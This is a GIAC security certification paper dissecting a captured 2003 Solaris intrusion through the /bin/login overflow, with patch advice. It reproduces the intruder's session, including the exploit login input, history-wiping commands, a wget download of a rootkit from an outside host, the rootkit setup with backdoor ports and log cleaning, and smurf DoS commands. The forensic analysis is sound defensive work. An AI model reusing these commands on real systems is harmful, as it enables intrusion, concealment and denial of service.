Global Information Assurance Certification Paper

Richard_Rinker_GSEC.doc
Certification and Assignment: GSEC Version 1.4b
Title of Paper: TESO COMPROMISE WITH ROOTKIT

INTRODUCTION:

The following documented TESO exploit and rootkit installation is from an actual compromised system that was hacked March 2003. TESO is an international group of 12+ young computer programmers and security enthusiasts who specialize in the network security field. They tend to spend a majority of their time with development and research of new vulnerabilities and exploitation tools that are used both by hackers and professionals. TESO wrote the exploit (program) that allowed hackers to take advantage of the /bin/login vulnerability. The /bin/login buffer overflow exploit exists in the implementation of login, System V. A hostile using this vulnerability can access the privileges of the process that invoked login which in the case of in.telnetd and in.rlogind is root. The IPs in this paper have been modified so no actual correlation can be made to an existing system. This paper will discuss the actual exploit, recommendations to fix the vulnerability, and go from there to a breakdown of the rootkit installed and the possible motivations of the hacker.

HISTORY:

It was announced in December 2001 that ISS X-Force had discovered a serious vulnerability in the login program that was present in Sun Solaris 8 and earlier versions of its operating system[1]. Very soon thereafter it was discovered that several implementations of login on System V Unix OS were also vulnerable[2]. Basically there was a static overflow vulnerability present in the Sun Solaris "Login" sometimes known as "/bin/login" because of its location in the file system. The login command is used at the start of each terminal session to identify user to the system and it is executed to authenticate remote users as they begin clear-text terminal connections[3]. The problem is that login erroneously handles exceedingly large authentication requests passed to it by in.telnetd, in.rlogind or any other similar deamons that operate in conjunction with login. No local account or special knowledge of the target is needed to successfully exploit the vulnerability[4].

VENDOR RECOMMENDATIONS:

Recommendations that were suggested upon discovery of the exploit were to disable telnet, rlogin and other programs that use login for authentication. Use of SSH was recommended plus SUN Microsystems Inc reproduced the vulnerability and the following patches were made available.

a. 111085-02 SUNOS 5.8 /usr/bin/login Patch

b. 111086-02 SUNOS 5.8_x86 /usr/bin/login Patch
c. 112300-01 SUNOS 5.7 /usr/bin/login Patch
d. 112301-01 SUNOS 5.7_x86 /usr/bin/login Patch
e. 105665-04 SUNOS 5.6 /usr/bin/login Patch
f. 105666-04 SUNOS 5.6_x86 /usr/bin/login Patch
g. 106160-02 SUNOS 5.5.1 /usr/bin/login Patch
h. 106161-02 SUNOS 5.5.1_x86 /usr/bin/login Patch

The patches are available at http://sunsolve.sun.com/securitypatch

ROOTKIT:

Rootkits generally consist of five groups of tools that take aim at the specific platform types and versions that they are attacking:

1. Trojan programs such as altered versions of login, netstat, ps and find. These tools modify or replace existing system tools to avoid detection by system administrators[5] .

2. Back doors such as inetd insertions – these are backdoor entry points into the system for later use[5].

3. Internet Sniffers – these are used for monitoring network traffic or keystrokes[5].

4. System log cleaners – changes system log files to escape gathering of evidence[5].

5. Programs that are designed to launch attacks on other systems from target system[6].

The rootkit downloaded to this particular system was a sunkit which is compatible with solaris systems. Commands that the hacker was using will be explained plus a majority of the more important hacker files that were downloaded will be addressed. For purposes of this paper "HACKER#" will be the Intruder commands; ROOTKIT# will be the rootkit commands and "ANALYSIS#" will be my explanation of what's happening.. A few places you will see a note from me preceded by ### - these are places like log cleaner where I deleted most of the contents for space purposes. Actual compromise begins now:

HACKER#
#'$#'$

SunOS 5.7

login: foo 7350
Password:

Login incorrect

login: sP! q a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a PPP

\040\377\377\040\377\377\377\377\377\040\040"\04"\040"\040\040\04/bin/kshPP
P q
Login incorrect
# unset HISTFILE;id;uname -a;uptime;
uid=0(root) gid=0(root)
SunOS offpost2 5.7 Generic_106541-17 sun4c sparc SUNW,Sun_4_40
  9:45am up 37 day(s), 22:17, 1 user, load average: 0.33, 0.30, 0.30
#

ANALYSIS#
Hostile logs in as foo 7350 but doesn't use the exploit till he gets the second login prompt. This is known as a banner scrape. Hostile needs to trigger program by getting a failed login and then throwing the exploit. Foo could be anyname and the 7350 is like a numeric TESO that's commonly used – but could be anything.
/bin/ksh opens a korn shell with root privileges.
unset HISTFILE – On bash this is the shells environment variable that defines the history file – unsetting it expunges the variable preventing the shell from writing the history data to a destination.
id – The id command prints user and group name and ID
uname –a - is a command that prints info about the current system to standard output. The –a option tells the command to behave as though all options were specified. This tells the system under attack to tell the hostile:

a. print the machine hardware name
b. print hostname or node name
c. print operating system release
d. print operating system name
e. print operating system version

uptime – is a command that shows how long the system has been continuously up, current time and average number of jobs in the run queue over last 1, 5 and 15 minutes.

HACKER#
unset HISTFILE;unset HISTFIRE;unset DISPLAY;unset histfile;unset histlog;unset histsave;unset display;unset history;mkdir /usr/lib/libX.a;cd /usr/lib/libX.a

ANALYSIS#
Appears attacker is using different variations of spellings for the unset history command to cover an administrator who may have changed the command to an alias for that command. The command unset display unsets whatever the display

environment variable is set to. When hostile initiates the command mkdir /usr/lib/libX.a he is creating a directory and cd /usr/lib/libX.a he is changing directory to the newly created directory.

```
HACKER#
#ftp 62.xxx.xx.xx
Connected to 62.xxx.xx.xx.
220 services FTP server PDT 1998) ready.
Name (62.xxx.xx.xx:root): username
331 Password required for username.
Password:
230 User username logged in.
ftp> get eget
200 PORT command successful.
550 eget: No such file or directory.
ftp> get wget
200 PORT command successful.
150 Opening ASCII mode data connection for wget (136288 bytes).
226 Transfer complete.
local: wget remote: wget
137533 bytes received in 2 seconds (67.89 Kbytes/s)
ftp> bye
221 Goodbye.
# chmod +x wget
#
./wget http://62.xxx.xx.xx/username/sunkit.tar
--09:47:38--  http://62.xxx.xx.xx/username/sunkit.tar
          => `sunkit.tar'
Connecting to 62.xxx.xx.xx:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 2,856,960 [application/x-tar]

    0K -> ..... ..... ..... ..... ..... [  1%]
   50K -> ..... ..... ..... ..... ..... [  3%]
  100K -> ..... ..... ..... ..... ..... [  5%]
  150K -> ..... ..... ..... ..... ..... [  7%]
  200K -> ..... ..... ..... ..... ..... [  8%]
  250K -> ..... ..... ..... ..... ..... [ 10%]
  300K -> ..... ..... ..... ..... ..... [ 12%]
  350K -> ..... ..... ..... ..... ..... [ 14%]
  400K -> ..... ..... ..... ..... ..... [ 16%]
  450K -> ..... ..... ..... ..... ..... [ 17%]
  500K -> ..... ..... ..... ..... ..... [ 19%]
  550K -> ..... ..... ..... ..... ..... [ 21%]
  600K -> ..... ..... ..... ..... ..... [ 23%]
  650K -> ..... ..... ..... ..... ..... [ 25%]
```

700K -> .... [26%]
750K -> .... [28%]
800K -> .... [30%]
850K -> .... [32%]
09:48:02 (118.81 KB/s) - `sunkit.tar' saved [2856960/2856960]

ANALYSIS#
Hostile ftp's to 62.xxx.xx.xx; provides his username and password and then does a get wget command at the ftp prompt. Wget is a freely available network utility to retrieve files from the internet using HTTP and FTP (two of the most widely utilized internet protocols). Hostile will use this software to download his rootkit. Chmod +x wget gives permissions to everybody so he can execute on the wget file he just downloaded.
./wget http://62.xxx.xx.xx/username/sunkit.tar – hostile uses this command to download his file which he is calling sunkit.tar. He is downloading it to the directory he created on the target machine. Download commences and completes but to save space only a portion of it is shown here.

ROOTKIT#
tar xvf sunkit.tar
x a, 0 bytes, 0 tape blocks
x a/sol, 0 bytes, 0 tape blocks
x a/sol/etc, 0 bytes, 0 tape blocks
x a/sol/etc/ssh_host_key.pub, 329 bytes, 1 tape blocks
x a/sol/etc/ssh_host_key, 525 bytes, 2 tape blocks
x a/sol/etc/tconf, 397 bytes, 1 tape blocks
x a/sol/etc/ssh_random_seed, 512 bytes, 1 tape blocks
x a/sol/passwd, 8780 bytes, 18 tape blocks
x a/sol/du, 9056 bytes, 18 tape blocks
x a/sol/110646-03.zip, 37809 bytes, 74 tape blocks
x a/sol/patch.sol8, 1011 bytes, 2 tape blocks
x a/sol/td, 100236 bytes, 196 tape blocks
x a/sol/su, 8772 bytes, 18 tape blocks
x a/sol/syn, 10488 bytes, 21 tape blocks
x a/sol/login, 9508 bytes, 19 tape blocks
x a/sol/ping, 8780 bytes, 18 tape blocks
x a/sol/ps, 9492 bytes, 19 tape blocks
x a/sol/switch, 12891 bytes, 26 tape blocks
x a/sol/x.conf2, 114 bytes, 1 tape blocks
x a/sol/childkiller, 488 bytes, 1 tape blocks
x a/sol/sn2, 21424 bytes, 42 tape blocks
x a/sol/p-engine, 2869 bytes, 6 tape blocks
x a/sol/findkit, 7725 bytes, 16 tape blocks
x a/sol/setup, 11416 bytes, 23 tape blocks
x a/sol/startbnc, 217 bytes, 1 tape blocks
x a/sol/strings, 8772 bytes, 18 tape blocks

```
x a/sol/cleaner, 4032 bytes, 8 tape blocks
x a/sol/ls, 18120 bytes, 36 tape blocks
x a/sol/crypt, 8672 bytes, 17 tape blocks
x a/sol/sz, 1787 bytes, 4 tape blocks
x a/sol/109662-03.tar.Z, 201027 bytes, 393 tape blocks
x a/sol/psy.tar.Z, 194539 bytes, 380 tape blocks
x a/sol/pg, 8332 bytes, 17 tape blocks
x a/sol/solsch, 100236 bytes, 196 tape blocks
x a/sol/netstat, 9064 bytes, 18 tape blocks
x a/sol/ls2, 13984 bytes, 28 tape blocks
x a/sol/find, 9064 bytes, 18 tape blocks
x a/sol/111606-02.zip, 41775 bytes, 82 tape blocks
x a/sol/sniffload, 80 bytes, 1 tape blocks
x a/sol/l2, 35376 bytes, 70 tape blocks
x a/sol/logo, 934 bytes, 2 tape blocks
x a/sol/sshd, 259832 bytes, 508 tape blocks
x a/sol/fix, 11668 bytes, 23 tape blocks
x a/sol/patch.sol6, 862 bytes, 2 tape blocks
x a/sol/lsof, 12472 bytes, 25 tape blocks
x a/sol/top, 86024 bytes, 169 tape blocks
x a/sol/x.conf, 446 bytes, 1 tape blocks
x a/sol/patch.sol7, 840 bytes, 2 tape blocks
x a/sol/ssh-dxe, 260272 bytes, 509 tape blocks
x a/sol/sver, 17 bytes, 1 tape blocks
x a/sol/szl, 1910 bytes, 4 tape blocks
x a/sol/wget, 136288 bytes, 267 tape blocks
x a/sol/removekit, 282 bytes, 1 tape blocks
x a/sol/sunsmurf, 11520 bytes, 23 tape blocks
x a/packet, 0 bytes, 0 tape blocks
x a/packet/sunst, 9760 bytes, 20 tape blocks
x a/packet/bc, 203 bytes, 1 tape blocks
x a/packet/sm, 32664 bytes, 64 tape blocks
x a/packet/newbc.txt, 203 bytes, 1 tape blocks
x a/packet/syn, 10488 bytes, 21 tape blocks
x a/packet/s1, 12708 bytes, 25 tape blocks
x a/packet/sls, 19996 bytes, 40 tape blocks
x a/packet/smaq, 10208 bytes, 20 tape blocks
x a/packet/udp.s, 10720 bytes, 21 tape blocks
x a/packet/bfile, 203 bytes, 1 tape blocks
x a/packet/bfile2, 203 bytes, 1 tape blocks
x a/packet/bfile3, 203 bytes, 1 tape blocks
x a/packet/sunsmurf, 11520 bytes, 23 tape blocks
x a/packet/cast, 375193 bytes, 733 tape blocks
x a/packet/cast1, 375193 bytes, 733 tape blocks
#
```

ANALYSIS#
The files above are the hackers downloaded files that make up his rootkit. tar xvf sunkit.tar command extracts multiple files from a single file. Argument x extracts the named files from the tape; argument v makes tar print the letter of each file it treats preceded by the function letter and argument f uses next argument as name of the archive instead of /dev/tape[7].
At this point lets check out what some of the downloaded files are associated with and since all the file paths start with a/sol lets just use the filename:

The first four files are associated with secure shell programs so the hackers have ssh.

passwd – a backdoor Trojan passwd

du – normally this command displays disk utilization showing how much disk space is available – the downloaded Trojan version lies about the presence of the attackers files, such as sniffer programs and other tools hiding them.

The next two files have to do with patches and anywhere there is a numbered file it is a patch file. This is so the target machine he successfully hacked is patched up to date so no one else can break in using the same exploit. Most hackers want to consider the system broke into their system and they don't want anyone else breaking in.

td – This is a DoS piece of software (Stacheldraht) Tribal Flood Network Deamon code

su – this is a Trojan switch user

syn – this program sends a syn packet to the target from a spoofed source. It will send the syn packet to a range of ports on the target.

login – allows users to log on to system, but also provides a backdoor root level password for the hostile.

ping – Trojan ping

ps – After this file is downloaded from the hackers rootkit the command will lie about any processes the attacker wants to hide.

x.conf2 – is another ssh conf file

startbnc- associated with program to run PsyBNC – IRC chat

cleaner – cleans up after hacker removing messages and logfiles; etc.

ls – Normal function is to list and show contents of a directory but the rootkit version lies about the presence of rootkit files and hides their presence.

crypt – Trojan crypt

psy.tar.Z – PsyBNC proxy Software

pg – Trojan page command

netstat – normal command is used to show processes listening on various TCP and UDP ports – the rootkit version lies about specific ports used by the attacker masking the fact that a process is listening there[8].

ls2 – backup ls command but slightly different then the original

find – lies about the presence of attackers files, such as sniffer programs and other tools hiding them.

sniffload – packet sniffer

logo – this displays the bragging rights logo for the hostile

sshd – backdoor ssh daemon

fix – fake checksums

lsof – Trojan list of open files

top – normal use of top is to display running processes – hackers version of top is to hide any jobs being run by the hackers.

x.conf – more secure shell target configuration files

wget – this software is loaded because it does not come by default with most Solaris systems.

removekit – program to remove evidence of the rootkit

sunsmurf and all the packet files – this is the sunsmurf program and all the executables necessary to run sunsmurf which is a Denial Of Service Attack. For example bfile; bfile2 and bfile3 would contain lists of IP addresses of the form xxx.xxx.xxx.0 or xxx.xxx.xxx.255 – these would be the networks that supposedly flood a victim host as a result of a Smurf Attack[9].

ROOTKIT#
cd a

```
# cd sol
# ./cleaner 80.xxx.xxx.xxx
Log cleaner v0.4b By: Tragedy/Dor
OS detection....
Detected SunOS
---<[ Log cleaning in process....
```

ANALYSIS#
Rootkit begins its log cleaning to erase evidence intruder was there.

###Message from Rick - Took this part out -just log cleaning

ROOTKIT#

```
# setup
[1;37m*[0;37m Installing from /usr/lib/libX.a/a/sol - Will erase /usr/lib/libX.a/a/sol
after install
[1;37m*[0;37m Checking for existing rootkits..
* Checking for existing rootkits..
*** WARNING *** Danny-Boys rootkit dir /usr/lib/libX.a is present
* checking /etc/rc2 and /etc/rc3 for rootkits...
* Rootkits Removed from config files
* checking crond configs for rootkits...
* Rootkits Removed from crond config files

 [1;37m***[0;37m Inserisci la Password :
```

###Message from Rick - Password Intruder used was here

###Message from Rick - Password Intruder used was here again

```
[1;37m***[0;37m Inserisci Rootkit SSH Port :
34567
34567
[1;37m***[0;37m Porta settata su 34567
[1;37m***[0;37m Inserisci Rootkit PsyBNC Port :
31338
[1;37m***[0;37m Porta PsyBNC settata su 31338
File processed...
[1;37m*[0;37m Making backups... su ping du passwd find ls
login
sshd
ls find strings du
ping su Complete.
[1;37m*[0;37m Suid removal atq atrm eject fdformat rdist rdist ufsdump
ufsrestore quota ff.core lpset lpstat netpr arpchmod: WARNING: can't access
/usr/dt/bin/ttsnoop
```

```
 Complete.
[1;37m*[0;37m Starting Patcher...
* Patching...
 fingerd
 cmsd
 ttdbserverd
 statd
 rquotad
 rusersd
 cachefsd
snmpXdmid
 Done.
```

ANALYSIS#

This is the setup portion of the rootkit which installs the rootkit on target system: After install it removes itself; checks for existing rootkits on target system – finds a danny boy rootkit – erases it and continues checking for other ones. Establishes backdoor password and sets up the rootkit ssh on port 34567 and established switch user priviledges on port 34567 also. Sets up PsyBNC over 31338 and establishes super user priviledges on this port also.

Makes backups of specific original file binaries; and after the rootkit is installed; will go back and replace those files with the original binaries so when tripwire or another file integrity checker is ran they will match up with the original and there will be no indication a hacker was present.

Suid removal – Solaris comes with certain files sticky bits set under root authorization. The rootkit removes these sticky bits so most of these commands can be ran with root priviledge. Patcher is then ran and setup completes.

ROOTKIT#

```
--10:14:51--  ftp://sunsolve.sun.com:21/pub/patches/106934-04.zip
=> `106934-04.zip'
Connecting to sunsolve.sun.com:21... connected!
Logging in as anonymous ... Logged in!
==> TYPE I ... done.  ==> CWD pub/patches ... done.
==> PORT ... .. ..... ..... ..... ..... [ 11%]
   50K -> ..... ..... [ 22%]
  100K -> ..... ..... ..... ..... ..... [ 33%]
  150K -> ..... ..... ..... ..... ..... [ 44%]
```

ANALYSIS#

Rootkit ftp's to SUNOS site to download patches for system it just attacked

###Message from Rick - This is pretty long since he downloaded multiple patches so I am deleting the rest of the portion pertaining to patch download.

```
ROOTKIT#
PS Trojaned[1;37m*[0;37m Primary network interface is of type: [0;36mle[0;37m
[1;37m*[0;37m Copying utils.. passgen fixer wipe utime crt idstart ssh-dxe syn
README  Done.
[1;37m*[0;37m psyBNC has now been configured on port 31338 (default) with no
IDENT
[1;37m*[0;37m erasing rootkit...
[1;37m*[0;36m Rootkit installation Completed in 684 Seconds.[0;37m
```

###Message from Rick - Intruder Password again

```
[1;37m*[0;37m SunOS offpost2 5.7 Generic_106541-17 sun4c sparc
SUNW,Sun_4_40
[1;37m*[0;37m Primary interface IP: 129.xx.xxx.xxx
[1;37m*[0;37m Possible        1 host aliases
[1;37m*[0;37m Jan 28 11:28:24 offpost2 unix: root nexus = SUNW,Sun 4_40
Rootlist line:
129.xx.xxx.xxx:34567   intruder password  PSYBNC:31338
No mail.
[1;37m*[0;36m Removing Logs...Insert Your IP:
80.xxx.xxx.xxx
Log cleaner v0.4b By: Tragedy/Dor
OS detection....
Detected SunOS
---<[ Log cleaning in process....
```

###From Rick - Deleted cleaning messages

```
  269 lines)...0 lines removed!
0 lines removed!
[1;37m*[0;36m Done...Enjoy Your Stay :)
[1;37m*[0;36m Modified by Teppa  on IrcNet
# cd /usr/lib/libX.c^H
/bin/ksh: /usr/lib/libX.c^H:  not found
# cd /usr/lib/libX.a
# ls
a          l          passgen     patch.sol7  sunkit.tar
bin        loadbnc    patch.sol5  patch.sol8  utime
crt        oldsuper   patch.sol6  ssh-dxe     wget
# cd a
# ls
bc         bfile2     cast        newbc.txt  sls         smaq        sunst
bfile      bfile3     cast1       s1         sm          sunsmurf    udp.s
```

#

ANALYSIS#
Rootkit copies utilities, tells hostile what is set up, how long it took to install rootkit and his password. Gives a uname –a line and lists the Primary Interface IP which then looks for other virtual hosts that have a tie-in to the primary. If any listings are here the hostile has another pool of machines he's apt to command. Another log cleaner is ran. He then does a listing of files in his a directory[10].

HACKER#
(papa)smurf.c v5.0 by TFreak
./sm 62.xxx.xx.xxx -S 300 -d 1

(papa)smurf.c v5.0 by TFreak

Opening broadcast file: No such file or directory
./sm 62.xxx.xx.xxx cast -S 300 -d 1

(papa)smurf.c v5.0 by TFreak

ANALYSIS#
Interestingly enough this last part just appears to be a command the attacker is initiating to send himself a signal (beacon) that the rootkit is successfully installed.

POSSIBLE MOTIVATIONS OF THE HACKER:
It appears that the hacker was a recreational hacker because you could tell the intruder was typing some of the commands like "get eget" where he made a mistake and had to retype "get wget". It would also appear the hacker was interested in collecting this machine as a zombie because of some of the tools downloaded for further exploitation such as the Denial of Service package; IRC Chat Communication Channel and the Sniffers. Other then install his rootkit the hostile didn't really do anything else at this time except prepare the machine for further use. The machine was set up to "await further use from the hacker".

CONCLUSION:

This was a preventable attack. If the patches were installed when they were available this machine would not have been compromised. The attack occurred within a monitored network and the session was captured by IDS tools presently in use. The target machine was immediately taken offline but left powered up for forensic examination.

RESOURCES:

[1] X-Force "Buffer Overflow in /bin/login" 12Dec2001

URL: http://www.securiteam.com/unixfocus/6X00G0K3FM.html

[2] Cert Advisory for Buffer Overflow in System V derived Login 12Dec2001 (revised-11Apr2002)
URL: http://www.cert.org/advisories/CA-2001-34.html

[3] Internet Security Systems Advisory “Buffer Overflow in /bin/login” 17Dec2001
URL: http://www.iss.net/issEn/delivery/xforce/alertdetail.jsp?id=advise105

[4] Noordergraff, Alex “Solaris Operating Environment Security” 20Dec2002
URL: http://www.informit.com/content/index.asp?session_id={04214DAB-ADCE-48F9-B7E1-95D57ED77746}&product_id={E6DD6882-CEC9-429C-8079-645228EF2E7E}

[5] MCClure, Stuart; Scambray, Joel; Kurtz, George. Hacking Exposed (Network Security Secrets and Solutions). Berkeley: Osborne/McGraw-Hill, 1999 (Page 252 – 259)

[6] Prosise, Chris; Shah Saumil Udayan. “Anatomy of a Hack” 25Jan2001
URL: http://builder.cnet.com/webbuilding/0-7532-8-4561014-2.html?tag=st.bl.7532-8-4561014-...

[7] Northcutt, Stephen. Network Intrusion Detection (An Analyst's Handbook). Indianapolis: New Riders Publishing 1999 (Page 143-146)

[8] Question and Answer website at geocities.com
URL: http://www.geocities.com/hellshrimp3000/hackfiles/rootkits_faq_dittrich.htm

[9] ID FAQ Analysis of Rootkit/Smurf Payload Toolkit v1.1
URL: http://ouah.sysdoor.net/TFN_toolkit.htm

[10] Obrien, David "Internet Security Lectures" Recognizing and Recovering from rootkit attacks
URL:http://www.cs.wright.edu/people/faculty/pmateti/Courses/499/Fortification/obrien.html